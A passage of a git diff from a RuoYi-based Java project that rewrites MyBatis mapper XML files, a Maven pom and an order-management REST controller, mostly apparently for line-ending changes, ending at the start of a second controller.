去除最后一个多余的逗号 + if (sb.length() > 0) { + sb.setLength(sb.length() - 1); + } + List getOrderTypeIds = Arrays.stream(sb.toString().split(",")).map(Long::parseLong).collect(Collectors.toList()); + return getOrderTypeIds.stream().distinct().collect(Collectors.toList()); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/package-info.md b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/package-info.md index c938b1e..22087fa 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/package-info.md +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/package-info.md @@ -1,3 +1,3 @@ -java包使用 `.` 分割 resource 目录使用 `/` 分割 -
+java包使用 `.` 分割 resource 目录使用 `/` 分割 +
此文件目的 防止文件夹粘连找不到 `xml` 文件 \ No newline at end of file diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysClientMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysClientMapper.xml index fd150ad..6f03c28 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysClientMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysClientMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml index e542a10..9dfbe56 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml index 6ad866f..cb8eabb 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml @@ -1,36 +1,36 @@ - - - - - - - - - - - - - - + + + + + + + + + + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml index 6bcce51..2308a29 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml index 6975da4..ecb0014 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml index c64b551..1191b3b 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml index 9dd3f2e..5a557d4 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml @@ -1,70 +1,70 @@ - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml index 43f494d..d765503 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml index 5ef14ee..ba78115 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOssConfigMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOssConfigMapper.xml index 8c2c080..6ce10ee 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOssConfigMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOssConfigMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOssMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOssMapper.xml index d9b25bd..2e8e92a 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOssMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysOssMapper.xml @@ -1,5 +1,5 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysPictureMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysPictureMapper.xml index 9a1b948..9f10152 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysPictureMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysPictureMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml index 322403f..3c9d0e1 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml @@ -1,29 +1,29 @@ - - - - - - - - - - - - + + + + + + + + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml index 1705bb2..b124f54 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml index f519552..365ca78 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml @@ -1,60 +1,60 @@ - - - - - - - - - select distinct r.role_id, - r.role_name, - r.role_key, - r.role_sort, - r.data_scope, - r.menu_check_strictly, - r.dept_check_strictly, - r.status, - r.del_flag, - r.create_time, - r.remark, - r.order_type - from sys_role r - left join sys_user_role sur on sur.role_id = r.role_id - left join sys_user u on u.user_id = sur.user_id - left join sys_dept d on u.dept_id = d.dept_id - - - - - - - - - - - - - + + + + + + + + + select distinct r.role_id, + r.role_name, + r.role_key, + r.role_sort, + r.data_scope, + r.menu_check_strictly, + r.dept_check_strictly, + r.status, + r.del_flag, + r.create_time, + r.remark, + r.order_type + from sys_role r + left join sys_user_role sur on sur.role_id = r.role_id + left join sys_user u on u.user_id = sur.user_id + left join sys_dept d on u.dept_id = d.dept_id + + + + + + + + + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml index f01dc5e..082ec8c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysSocialMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysSocialMapper.xml index baa4b59..8bf7b0e 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysSocialMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysSocialMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysTenantMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysTenantMapper.xml index 0d96e13..712f14b 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysTenantMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysTenantMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysTenantPackageMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysTenantPackageMapper.xml index 79cf4c5..261f3e3 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysTenantPackageMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysTenantPackageMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml index 3aa6041..9684b63 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml @@ -1,116 +1,116 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml index e9f2496..03f4f4d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml index bc52d1a..aede46f 100644 --- a/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml +++ b/ruoyi-modules/ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml @@ -1,13 +1,13 @@ - - - - - - - + + + + + + + diff --git a/ruoyi-modules/ruoyi-work/pom.xml b/ruoyi-modules/ruoyi-work/pom.xml index b91f00c..59704a7 100644 --- a/ruoyi-modules/ruoyi-work/pom.xml +++ b/ruoyi-modules/ruoyi-work/pom.xml @@ -1,84 +1,84 @@ - - - - org.dromara - ruoyi-modules - ${revision} - - 4.0.0 - - ruoyi-work - - - 业务模块 - - - - - - - org.dromara - ruoyi-common-core - - - - org.dromara - ruoyi-common-redis - - - - org.dromara - ruoyi-common-idempotent - - - - org.dromara - ruoyi-common-mybatis - - - - org.dromara - ruoyi-common-log - - - - org.dromara - ruoyi-common-excel - - - - org.dromara - ruoyi-common-security - - - - org.dromara - ruoyi-common-web - - - - org.dromara - ruoyi-common-websocket - - - - org.dromara - ruoyi-system - - - - - com.github.yulichang - mybatis-plus-join-boot-starter - 1.4.13 - - - org.dromara - ruoyi-common-mail - - - - - + + + + org.dromara + ruoyi-modules + ${revision} + + 4.0.0 + + ruoyi-work + + + 业务模块 + + + + + + + org.dromara + ruoyi-common-core + + + + org.dromara + ruoyi-common-redis + + + + org.dromara + ruoyi-common-idempotent + + + + org.dromara + ruoyi-common-mybatis + + + + org.dromara + ruoyi-common-log + + + + org.dromara + ruoyi-common-excel + + + + org.dromara + ruoyi-common-security + + + + org.dromara + ruoyi-common-web + + + + org.dromara + ruoyi-common-websocket + + + + org.dromara + ruoyi-system + + + + + com.github.yulichang + mybatis-plus-join-boot-starter + 1.4.13 + + + org.dromara + ruoyi-common-mail + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/CustomerOrderController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/CustomerOrderController.java index f6da954..8113727 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/CustomerOrderController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/CustomerOrderController.java @@ -1,236 +1,236 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import io.swagger.v3.oas.annotations.Parameter; -import io.swagger.v3.oas.annotations.Parameters; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpOrderBo; -import org.dromara.work.domain.vo.CustomerOrderSumVo; -import org.dromara.work.domain.vo.CustomerOrderVo; -import org.dromara.work.domain.vo.TpOrderVo; -import org.dromara.work.service.ITpOrderService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.math.BigDecimal; -import java.util.List; - -/** - * 订单管理(客服) - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/customer/order") -public class CustomerOrderController extends BaseController { - - private final ITpOrderService tpOrderService; - - /** - * 查询订单管理列表 - */ - @SaCheckPermission("work:customerOrder:list") - @GetMapping("/list") - public TableDataInfo list(TpOrderBo bo, PageQuery pageQuery) { - return tpOrderService.queryCustomerPageList(bo, pageQuery); - } - - /** - * 查询订单统计(客服) - */ - @SaCheckPermission("work:customerOrder:sum") - @GetMapping("/sum") - public R sum(TpOrderBo bo) { - return R.ok(tpOrderService.queryCustomerSum(bo)); - } - - - /** - * 导出客服订单 - */ - @SaCheckPermission("work:customerOrder:export") - @Log(title = "导出客服订单", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpOrderBo bo, HttpServletResponse response) { - List list = tpOrderService.queryListKF(bo); - ExcelUtil.exportExcel(list, "导出客服订单", TpOrderVo.class, response); - } - - /** - * 获取订单管理详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:customerOrder:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpOrderService.queryById(id)); - } - - /** - * 新增订单管理 - */ - @SaCheckPermission("work:customerOrder:add") - @Log(title = "订单管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpOrderBo bo) { - return toAjax(tpOrderService.insertByBo(bo)); - } - - /** - * 修改订单管理 - */ - @SaCheckPermission("work:customerOrder:edit") - @Log(title = "订单管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpOrderBo bo) { - return toAjax(tpOrderService.updateByBo(bo)); - } - - /** - * 删除订单管理 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:customerOrder:remove") - @Log(title = "订单管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpOrderService.deleteWithValidByIds(List.of(ids), true)); - } - - /** - * 订单指派技术 - */ - @SaCheckPermission("work:customerOrder:assign") - @Log(title = "订单指派技术", businessType = BusinessType.OTHER) -// @Parameters({@Parameter(name = "orderIds", description = "订单ID", required = true),@Parameter(name = "userId", description = "用户ID", required = true)}) - @PostMapping("/assign") - public R assign(@RequestBody TpOrderBo bo) { - return toAjax(tpOrderService.updateOrderAssign(bo.getOrderIds(),bo.getUserId())); - } - - /** - * 订单取消指派 - */ - @SaCheckPermission("work:customerOrder:cancelAssign") - @Log(title = "订单取消指派", businessType = BusinessType.OTHER) - @Parameter(name = "orderId", description = "订单ID", required = true) - @PostMapping("/cancelAssign") - public R cancelAssign(@RequestParam(value = "orderId") Long orderId) { - return toAjax(tpOrderService.orderCancelAssign(orderId)); - } - - - /** - * 订单支付获取订单和余额信息 - * @param orderId 主键 - */ - @SaCheckPermission("work:customerOrder:queryOrderPay") - @GetMapping("queryOrderPay/{orderId}") - public R queryOrderPay(@NotNull(message = "orderId主键不能为空") @PathVariable Long orderId) { - return R.ok(tpOrderService.queryOrderPay(orderId)); - } - - /** - * 订单支付 - */ - @SaCheckPermission("work:customerOrder:pay") - @Log(title = "订单支付", businessType = BusinessType.OTHER) - @PostMapping("/pay") - @Parameters({@Parameter(name = "orderId", description = "订单ID", required = true),@Parameter(name = "type", description = "类型:1客户 2客服", required = true) - ,@Parameter(name = "price", description = "支付金额", required = true) - }) - public R pay(@RequestParam(value = "orderId") Long orderId,@RequestParam(value = "type") Integer type,@RequestParam(value = "price") BigDecimal price) { - return toAjax(tpOrderService.orderPay(orderId,type,price)); - } - - - /** - * 订单回退获取订单和退款金额信息 - * @param orderId 主键 - */ - @SaCheckPermission("work:customerOrder:orderFallback") - @GetMapping("orderFallback/{orderId}") - public R orderFallback(@NotNull(message = "orderId主键不能为空") @PathVariable Long orderId) { - return R.ok(tpOrderService.orderFallback(orderId)); - } - - - /** - * 订单回退 - */ - @SaCheckPermission("work:customerOrder:fallback") - @Log(title = "订单回退", businessType = BusinessType.OTHER) - @PostMapping("/fallback") - @Parameters({@Parameter(name = "orderId", description = "订单ID", required = true),@Parameter(name = "type", description = "类型:1客户 2客服", required = true) - ,@Parameter(name = "price", description = "回退金额", required = true) - }) - public R fallback(@RequestParam(value = "orderId") Long orderId,@RequestParam(value = "type") Integer type,@RequestParam(value = "price") BigDecimal price) { - return toAjax(tpOrderService.fallback(orderId,type,price)); - } - - - /** - * 订单拆单获取订单和金额信息 - * @param orderId 主键 - */ - @SaCheckPermission("work:customerOrder:cdOrderInfo") - @GetMapping("cdOrderInfo/{orderId}") - public R cdOrderInfo(@NotNull(message = "orderId主键不能为空") @PathVariable Long orderId) { - return R.ok(tpOrderService.cdOrderInfo(orderId)); - } - - /** - * 订单拆单 - */ - @SaCheckPermission("work:customerOrder:cdOrder") - @Log(title = "订单拆单", businessType = BusinessType.OTHER) - @PostMapping("/cdOrder") - @Parameters({@Parameter(name = "orderId", description = "订单ID", required = true),@Parameter(name = "price", description = "拆单金额", required = true)}) - public R cdOrder(@RequestParam(value = "orderId") Long orderId,@RequestParam(value = "price") BigDecimal price) { - return toAjax(tpOrderService.cdOrder(orderId,price)); - } - - /** - * 订单改价获取订单和金额信息 - * @param orderId 主键 - */ - @SaCheckPermission("work:customerOrder:gjOrderInfo") - @GetMapping("gjOrderInfo/{orderId}") - public R gjOrderInfo(@NotNull(message = "orderId主键不能为空") @PathVariable Long orderId) { - return R.ok(tpOrderService.gjOrderInfo(orderId)); - } - - /** - * 订单改价 - */ - @SaCheckPermission("work:customerOrder:gjOrder") - @Log(title = "订单改价", businessType = BusinessType.OTHER) - @PostMapping("/gjOrder") - @Parameters({@Parameter(name = "orderId", description = "订单ID", required = true),@Parameter(name = "price", description = "拆单金额", required = true)}) - public R gjOrder(@RequestParam(value = "orderId") Long orderId,@RequestParam(value = "price") BigDecimal price) { - return toAjax(tpOrderService.gjOrder(orderId,price)); - } - -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import io.swagger.v3.oas.annotations.Parameter; +import io.swagger.v3.oas.annotations.Parameters; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpOrderBo; +import org.dromara.work.domain.vo.CustomerOrderSumVo; +import org.dromara.work.domain.vo.CustomerOrderVo; +import org.dromara.work.domain.vo.TpOrderVo; +import org.dromara.work.service.ITpOrderService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.math.BigDecimal; +import java.util.List; + +/** + * 订单管理(客服) + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/customer/order") +public class CustomerOrderController extends BaseController { + + private final ITpOrderService tpOrderService; + + /** + * 查询订单管理列表 + */ + @SaCheckPermission("work:customerOrder:list") + @GetMapping("/list") + public TableDataInfo list(TpOrderBo bo, PageQuery pageQuery) { + return tpOrderService.queryCustomerPageList(bo, pageQuery); + } + + /** + * 查询订单统计(客服) + */ + @SaCheckPermission("work:customerOrder:sum") + @GetMapping("/sum") + public R sum(TpOrderBo bo) { + return R.ok(tpOrderService.queryCustomerSum(bo)); + } + + + /** + * 导出客服订单 + */ + @SaCheckPermission("work:customerOrder:export") + @Log(title = "导出客服订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpOrderBo bo, HttpServletResponse response) { + List list = tpOrderService.queryListKF(bo); + ExcelUtil.exportExcel(list, "导出客服订单", TpOrderVo.class, response); + } + + /** + * 获取订单管理详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:customerOrder:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpOrderService.queryById(id)); + } + + /** + * 新增订单管理 + */ + @SaCheckPermission("work:customerOrder:add") + @Log(title = "订单管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpOrderBo bo) { + return toAjax(tpOrderService.insertByBo(bo)); + } + + /** + * 修改订单管理 + */ + @SaCheckPermission("work:customerOrder:edit") + @Log(title = "订单管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpOrderBo bo) { + return toAjax(tpOrderService.updateByBo(bo)); + } + + /** + * 删除订单管理 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:customerOrder:remove") + @Log(title = "订单管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpOrderService.deleteWithValidByIds(List.of(ids), true)); + } + + /** + * 订单指派技术 + */ + @SaCheckPermission("work:customerOrder:assign") + @Log(title = "订单指派技术", businessType = BusinessType.OTHER) +// @Parameters({@Parameter(name = "orderIds", description = "订单ID", required = true),@Parameter(name = "userId", description = "用户ID", required = true)}) + @PostMapping("/assign") + public R assign(@RequestBody TpOrderBo bo) { + return toAjax(tpOrderService.updateOrderAssign(bo.getOrderIds(),bo.getUserId())); + } + + /** + * 订单取消指派 + */ + @SaCheckPermission("work:customerOrder:cancelAssign") + @Log(title = "订单取消指派", businessType = BusinessType.OTHER) + @Parameter(name = "orderId", description = "订单ID", required = true) + @PostMapping("/cancelAssign") + public R cancelAssign(@RequestParam(value = "orderId") Long orderId) { + return toAjax(tpOrderService.orderCancelAssign(orderId)); + } + + + /** + * 订单支付获取订单和余额信息 + * @param orderId 主键 + */ + @SaCheckPermission("work:customerOrder:queryOrderPay") + @GetMapping("queryOrderPay/{orderId}") + public R queryOrderPay(@NotNull(message = "orderId主键不能为空") @PathVariable Long orderId) { + return R.ok(tpOrderService.queryOrderPay(orderId)); + } + + /** + * 订单支付 + */ + @SaCheckPermission("work:customerOrder:pay") + @Log(title = "订单支付", businessType = BusinessType.OTHER) + @PostMapping("/pay") + @Parameters({@Parameter(name = "orderId", description = "订单ID", required = true),@Parameter(name = "type", description = "类型:1客户 2客服", required = true) + ,@Parameter(name = "price", description = "支付金额", required = true) + }) + public R pay(@RequestParam(value = "orderId") Long orderId,@RequestParam(value = "type") Integer type,@RequestParam(value = "price") BigDecimal price) { + return toAjax(tpOrderService.orderPay(orderId,type,price)); + } + + + /** + * 订单回退获取订单和退款金额信息 + * @param orderId 主键 + */ + @SaCheckPermission("work:customerOrder:orderFallback") + @GetMapping("orderFallback/{orderId}") + public R orderFallback(@NotNull(message = "orderId主键不能为空") @PathVariable Long orderId) { + return R.ok(tpOrderService.orderFallback(orderId)); + } + + + /** + * 订单回退 + */ + @SaCheckPermission("work:customerOrder:fallback") + @Log(title = "订单回退", businessType = BusinessType.OTHER) + @PostMapping("/fallback") + @Parameters({@Parameter(name = "orderId", description = "订单ID", required = true),@Parameter(name = "type", description = "类型:1客户 2客服", required = true) + ,@Parameter(name = "price", description = "回退金额", required = true) + }) + public R fallback(@RequestParam(value = "orderId") Long orderId,@RequestParam(value = "type") Integer type,@RequestParam(value = "price") BigDecimal price) { + return toAjax(tpOrderService.fallback(orderId,type,price)); + } + + + /** + * 订单拆单获取订单和金额信息 + * @param orderId 主键 + */ + @SaCheckPermission("work:customerOrder:cdOrderInfo") + @GetMapping("cdOrderInfo/{orderId}") + public R cdOrderInfo(@NotNull(message = "orderId主键不能为空") @PathVariable Long orderId) { + return R.ok(tpOrderService.cdOrderInfo(orderId)); + } + + /** + * 订单拆单 + */ + @SaCheckPermission("work:customerOrder:cdOrder") + @Log(title = "订单拆单", businessType = BusinessType.OTHER) + @PostMapping("/cdOrder") + @Parameters({@Parameter(name = "orderId", description = "订单ID", required = true),@Parameter(name = "price", description = "拆单金额", required = true)}) + public R cdOrder(@RequestParam(value = "orderId") Long orderId,@RequestParam(value = "price") BigDecimal price) { + return toAjax(tpOrderService.cdOrder(orderId,price)); + } + + /** + * 订单改价获取订单和金额信息 + * @param orderId 主键 + */ + @SaCheckPermission("work:customerOrder:gjOrderInfo") + @GetMapping("gjOrderInfo/{orderId}") + public R gjOrderInfo(@NotNull(message = "orderId主键不能为空") @PathVariable Long orderId) { + return R.ok(tpOrderService.gjOrderInfo(orderId)); + } + + /** + * 订单改价 + */ + @SaCheckPermission("work:customerOrder:gjOrder") + @Log(title = "订单改价", businessType = BusinessType.OTHER) + @PostMapping("/gjOrder") + @Parameters({@Parameter(name = "orderId", description = "订单ID", required = true),@Parameter(name = "price", description = "拆单金额", required = true)}) + public R gjOrder(@RequestParam(value = "orderId") Long orderId,@RequestParam(value = "price") BigDecimal price) { + return toAjax(tpOrderService.gjOrder(orderId,price)); + } + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/SkillOrderController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/SkillOrderController.java index 2738cd6..e2287a4 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/SkillOrderController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/SkillOrderController.java @@ -1,117 +1,117 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpOrderBo; -import org.dromara.work.domain.vo.SkillOrderSumVo; -import org.dromara.work.domain.vo.SkillOrderVo; -import org.dromara.work.domain.vo.TpOrderVo; -import org.dromara.work.service.ITpOrderService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 订单管理(技术) - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/skill/order") -public class SkillOrderController extends BaseController { - - private final ITpOrderService tpOrderService; - - 